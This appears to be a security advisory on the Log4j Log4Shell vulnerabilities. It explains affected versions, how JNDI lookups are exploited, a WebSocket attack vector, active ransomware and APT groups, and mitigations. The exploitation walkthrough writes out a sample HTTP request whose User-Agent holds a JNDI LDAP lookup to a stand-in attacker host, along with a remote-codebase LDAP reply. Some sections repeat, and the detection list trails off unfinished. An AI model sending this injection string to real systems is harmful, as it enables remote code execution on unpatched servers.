Last Updated on 20/12/2021 at 03:00 pm
Apache Log4j is a Java-based logging utility that is widely used in applications around the world. On December 9th, 2021, the working Proof of Concept for the RCE (Remote Code Execution) vulnerability in Apache Log4j 2 was released publicly. Within 2 hours, attackers began the exploitation of the vulnerability and widespread internet scanning began to find vulnerable assets and instances of log4j.
The attacker sends a specially crafted HTTP request to the servers running Apache Log4j 2 (vulnerable systems) and then instructs the system to download and execute malicious payloads. The affected versions of Log4j were between 2.0 to 2.14. The remediation provided by Apache was to upgrade from the affected versions to version 2.15 which contained the patch and relevant configuration setting to mitigate the vulnerability.
The CVE-2021-44228 was assigned to this RCE exploit. While this vulnerability was patched in versions 2.15.0-rc1 and 2.15.0-rc2, another vulnerability (CVE-2021-45046) was discovered impacting the fix. The new vulnerability can result in a Denial of Service (DOS) attack if a specially crafted packet is sent to the instance running the Log4j version 2.15. Apache has released another update “version 2.16.0” which provides the fix for both the mentioned vulnerabilities.
Apache Log4j versions lower than 2.16.0
Countries | Attacks |
Netherlands | 34.62% |
Germany | 23.08% |
Russian Federation | 7.69% |
France | 7.69% |
US | 5.77% |
Taiwan | 3.85% |
Canada | 1.92% |
Pakistan | 1.92% |
Estonia | 1.92% |
Saudi Arabia | 1.92% |
Thailand | 1.92% |
Greece | 1.92% |
Hong Kong | 1.92% |
Singapore | 1.92% |
Luxembourg | 1.92% |
A high severity vulnerability impacting multiple versions of Apache Log4j. The vulnerability allows for unauthenticated remote code execution. The attacker sends specially crafted HTTP requests to the servers running Apache Log4j 2. Normally the logging frameworks consider all the messages that they receive as text and handle them accordingly with basic formatting, however, Log4j 2.0 added the lookup to add values to the logs.
Multiple types of lookups were provided in Log4j 2.0 like “Context Map Lookup”, “Date Lookup”, “JVM Input Arguments Lookup (JMX)”, “web Lookup”, “JNDI Lookup”, etc. The Java Naming and Directory Interface (JNDI) is a Java API to access a variety of naming and directory services like LDAP, DNS, etc.
The JNDI lookups were not restricted to the local environment. An attacker sends a specially crafted HTTP request to trigger the JNDI lookup. When the lookup is triggered, the server running the Log4j will go over the internet to look up the request which will be the attacker server downloading the malicious code/payload.
Exploits and Proof of Concept were published online for the CVE-2021-44228 vulnerability. Environments with user input hosted on a Java application with unpatched and vulnerable versions of log4j 2.15.0 and lower run the risk of being attacked.
The attack has 2 phases. In the first phase, the attacker sends the specially crafted HTTP request to the server having the JNDI lookup to the attacker server. In the second phase, the malicious payload is downloaded from the attacker server to the victim.
GET /etc HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://evil-attacker.com/a}
“${jndi:ldap://evil-attacker.com/a}”
ldap://evil-attacker.com
dn:
JavaClassName: mal
JavaCodeBase: http://evil-attacker.com
JavaSerializedData: <…..>
Once the LDAP result is sent back to the Log4j instance which contains the information about the path to the remote Java class which is injected in the server process of the instance running Log4j. The malicious remote Java class is then executed initiating the second phase of the attack, allowing remote attackers to execute the arbitrary code resulting in the compromise of the server and successful remote code execution.
public class mal implements Serializable {
……
static {
<Malicious Java code>
}
……
}
Apache released an update (version 2.15) to fix the vulnerability (CVE-2021-44228) in Log4J versions between 2.0 to 2.14. The fix is incomplete and there exists a vulnerability that can result in a Denial of Service (DoS) attack on applications having version 2.15 of Apache Log4j. The CVE was first assigned a CVSS score of 3.7, however, the CVSS score has since been changed to 9.
To mitigate the vulnerability in CVE-2021-44228 in version 2.15, set the log4j2.formatMsgNoLookups or %m{nolookup} to true. This means that the messages will be processed without the lookup. However, the setting will only apply to content being logged in the call of function “logger.info()” and will not apply to lookup like CTX.
The attacker can create a crafted context lookup (CTX) or Threat Context Map Pattern lookup with the non-default pattern layout while logging the configuration. The attacker can create the lookup request for the CTX or Threat Context Map similar to the JNDI lookup pattern.
As the pattern log4j2.formatMsgNoLookups will not affect the CTX lookup it will invoke the relevant function for lookup and as the pattern is not the default it will enter the code will enter in an infinite loop resulting in the Denial of Service (DOS).
An attacker could cause StackOverflowError using malicious input data that contains recursive lookup by having control over the MDC (Threat Context Map). This leads to a denial of service which is essentially caused by a failure to protect from uncontrolled recursion from self-referential lookups.
This vulnerability allows for Remote Code Execution on the system if an attacker has write access the log4j configuration. By the deserialization of untrusted data, the attacker can exploit this vulnerability, if the deployed application is configured to use JMSAppender.
This attack vector allows RCE on local hosts and network servers. For this attack to work, the targets do not have to be exposed to the internet. With this attack vector, the attack surface is expanded even more so than before. WebSockets, unfortunately like Log4j, are very widely used and implemented in almost all the latest web browsers. WebSocket connections can start when a webpage is loaded and are used for two-way communication functions. Since WebSockets expect the webservers to validate their request’s origins and are not restricted by policies like cross-domain HTTP requests, they have their own sets of risks. Here’s how the attack works:
For this attack to work, the Log4j2 vulnerability has to be already installed on a watering-hole server. There an attacker will trigger the file path URL using a WebSocket connection.
As a local WebSocket connection is initiated even with a simple webpage load, the attack becomes deadly. After the connection is created, the attacker connects to the listening server, and then to an identified type of connection based on a JNDI (Java Naming and Directory Interface) connection string.
The attacker can finally drop the exploit string the connection path or parameters once the victim is connected to an open port to a service accessible by them or a local service.
State-sponsored APT (Advanced Persistent Threat) groups from China, Turkey, North Korea, and Iran have been actively attempting to exploit the vulnerability. Threat actors like Phosphorus (aka APT35 and Charming Kitten), Mirai Botnet, and Hafnium have also been active in the region.
Conti Ransomware group has also been seen active in the region using the vulnerability CVE-2021-44228. It is the first sophisticated crimeware ransomware group that has weaponized the logrj3 vulnerabilities. The group is using the log4j2 exploit for lateral movements in the targetted VMware vCenters.
TellYouThePass is also an old and once considered inactive ransomware family that has been revived due to the log4j fiasco.
“It is worth noting that this is not the first time that Tellyouthepass ransomware has used high-risk vulnerabilities to launch attacks,” Sangfor researchers said.
Version 2.16.0 has been released without the vulnerability. Upgrade to Log4j Version 2.16.0.
If upgrading to version 2.16.0 is not possible at the moment, then the following workarounds can be done for mitigating the vulnerability:
As the lookups are done using the Java packages for JNDI API (com.sun.JNDI.ldap.object.trustURLCodebase) or by (InitialContext().lookup(“lookup address”)) by creating an instance using (org.apache.naming.factory.BeanFactory), we have to disable the lookups functionality for the remote serves to mitigate the vulnerability.
Version 2.16.0 has been released without the vulnerability. Upgrade to Log4j Version 2.16.0.
If upgrading to version 2.16.0 is not possible at the moment, then the following workarounds can be done for mitigating the vulnerability.
Upgrade to the latest version of Apache Log4j, available from the Apache Web site.
Upgrade to the latest version of Log4j, available from the Apache Web site.
Here’s a repository containing all the affected and unaffected vendors and software that are affected by the log4j vulnerability along with their patches.
Like the Log4j exploits, the WebSocket attack vector is resilient and silent and therefore detection is fairly difficult. However, here are a few methods to detect and remediate the attacks in your environment: